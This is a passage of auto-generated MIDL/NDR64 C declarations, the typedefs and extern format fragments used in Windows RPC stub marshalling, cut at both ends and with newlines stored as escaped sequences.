frag2;\n}\n__midl_frag287_t;\nextern const __midl_frag287_t __midl_frag287;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag286_t;\nextern const __midl_frag286_t __midl_frag286;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag285_t;\nextern const __midl_frag285_t __midl_frag285;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag280_t;\nextern const __midl_frag280_t __midl_frag280;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag277_t;\nextern const __midl_frag277_t __midl_frag277;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag273_t;\nextern const __midl_frag273_t __midl_frag273;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag262_t;\nextern const __midl_frag262_t __midl_frag262;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag251_t;\nextern const __midl_frag251_t __midl_frag251;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag241_t;\nextern const __midl_frag241_t __midl_frag241;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag230_t;\nextern const __midl_frag230_t __midl_frag230;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag215_t;\nextern const __midl_frag215_t __midl_frag215;\n\ntypedef \nNDR64_PIPE_FORMAT\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag212_t;\nextern const __midl_frag212_t __midl_frag212;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag211_t;\nextern const __midl_frag211_t __midl_frag211;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag210_t;\nextern const __midl_frag210_t __midl_frag210;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag208_t;\nextern const __midl_frag208_t __midl_frag208;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag207_t;\nextern const __midl_frag207_t __midl_frag207;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag206_t;\nextern const __midl_frag206_t __midl_frag206;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag203_t;\nextern const __midl_frag203_t __midl_frag203;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag202_t;\nextern const __midl_frag202_t __midl_frag202;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag201_t;\nextern const __midl_frag201_t __midl_frag201;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag200_t;\nextern const __midl_frag200_t __midl_frag200;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag199_t;\nextern const __midl_frag199_t __midl_frag199;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag198_t;\nextern const __midl_frag198_t __midl_frag198;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag188_t;\nextern const __midl_frag188_t __midl_frag188;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n}\n__midl_frag186_t;\nextern const __midl_frag186_t __midl_frag186;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag184_t;\nextern const __midl_frag184_t __midl_frag184;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag183_t;\nextern const __midl_frag183_t __midl_frag183;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag182_t;\nextern const __midl_frag182_t __midl_frag182;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag181_t;\nextern const __midl_frag181_t __midl_frag181;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag180_t;\nextern const __midl_frag180_t __midl_frag180;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag177_t;\nextern const __midl_frag177_t __midl_frag177;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag174_t;\nextern const __midl_frag174_t __midl_frag174;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag171_t;\nextern const __midl_frag171_t __midl_frag171;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag169_t;\nextern const __midl_frag169_t __midl_frag169;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag167_t;\nextern const __midl_frag167_t __midl_frag167;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag166_t;\nextern const __midl_frag166_t __midl_frag166;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag165_t;\nextern const __midl_frag165_t __midl_frag165;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag164_t;\nextern const __midl_frag164_t __midl_frag164;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag163_t;\nextern const __midl_frag163_t __midl_frag163;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag162_t;\nextern const __midl_frag162_t __midl_frag162;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag153_t;\nextern const __midl_frag153_t __midl_frag153;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag151_t;\nextern const __midl_frag151_t __midl_frag151;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag146_t;\nextern const __midl_frag146_t __midl_frag146;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag144_t;\nextern const __midl_frag144_t __midl_frag144;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag143_t;\nextern const __midl_frag143_t __midl_frag143;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag142_t;\nextern const __midl_frag142_t __midl_frag142;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_VAR frag4;\n}\n__midl_frag140_t;\nextern const __midl_frag140_t __midl_frag140;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag139_t;\nextern const __midl_frag139_t __midl_frag139;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag138_t;\nextern const __midl_frag138_t __midl_frag138;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag137_t;\nextern const __midl_frag137_t __midl_frag137;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag120_t;\nextern const __midl_frag120_t __midl_frag120;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag110_t;\nextern const __midl_frag110_t __midl_frag110;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag108_t;\nextern const __midl_frag108_t __midl_frag108;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag106_t;\nextern const __midl_frag106_t __midl_frag106;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag94_t;\nextern const __midl_frag94_t __midl_frag94;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag92_t;\nextern const __midl_frag92_t __midl_frag92;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag91_t;\nextern const __midl_frag91_t __midl_frag91;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag90_t;\nextern const __midl_frag90_t __midl_frag90;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag87_t;\nextern const __midl_frag87_t __midl_frag87;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag86_t;\nextern const __midl_frag86_t __midl_frag86;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag85_t;\nextern const __midl_frag85_t __midl_frag85;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag84_t;\nextern const __midl_frag84_t __midl_frag84;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag81_t;\nextern const __midl_frag81_t __midl_frag81;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag80_t;\nextern const __midl_frag80_t __midl_frag80;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag79_t;\nextern const __midl_frag79_t __midl_frag79;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag77_t;\nextern const __midl_frag77_t __midl_frag77;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag76_t;\nextern const __midl_frag76_t __midl_frag76;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag75_t;\nextern const __midl_frag75_t __midl_frag75;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag74_t;\nextern const __midl_frag74_t __midl_frag74;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag73_t;\nextern const __midl_frag73_t __midl_frag73;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag72_t;\nextern const __midl_frag72_t __midl_frag72;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag71_t;\nextern const __midl_frag71_t __midl_frag71;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag67_t;\nextern const __midl_frag67_t __midl_frag67;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag65_t;\nextern const __midl_frag65_t __midl_frag65;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag62_t;\nextern const __midl_frag62_t __midl_frag62;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag60_t;\nextern const __midl_frag60_t __midl_frag60;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag56_t;\nextern const __midl_frag56_t __midl_frag56;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag54_t;\nextern const __midl_frag54_t __midl_frag54;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag53_t;\nextern const __midl_frag53_t __midl_frag53;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag52_t;\nextern const __midl_frag52_t __midl_frag52;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag50_t;\nextern const __midl_frag50_t __midl_frag50;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag48_t;\nextern const __midl_frag48_t __midl_frag48;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag47_t;\nextern const __midl_frag47_t __midl_frag47;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag46_t;\nextern const __midl_frag46_t __midl_frag46;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag44_t;\nextern const __midl_frag44_t __midl_frag44;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag43_t;\nextern const __midl_frag43_t __midl_frag43;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag42_t;\nextern const __midl_frag42_t __midl_frag42;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag41_t;\nextern const __midl_frag41_t __midl_frag41;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag38_t;\nextern const __midl_frag38_t __midl_frag38;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag28_t;\nextern const __midl_frag28_t __midl_frag28;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag24_t;\nextern const __midl_frag24_t __midl_frag24;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag23_t;\nextern const __midl_frag23_t __midl_frag23;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag22_t;\nextern const __midl_frag22_t __midl_frag22;\n\ntypedef 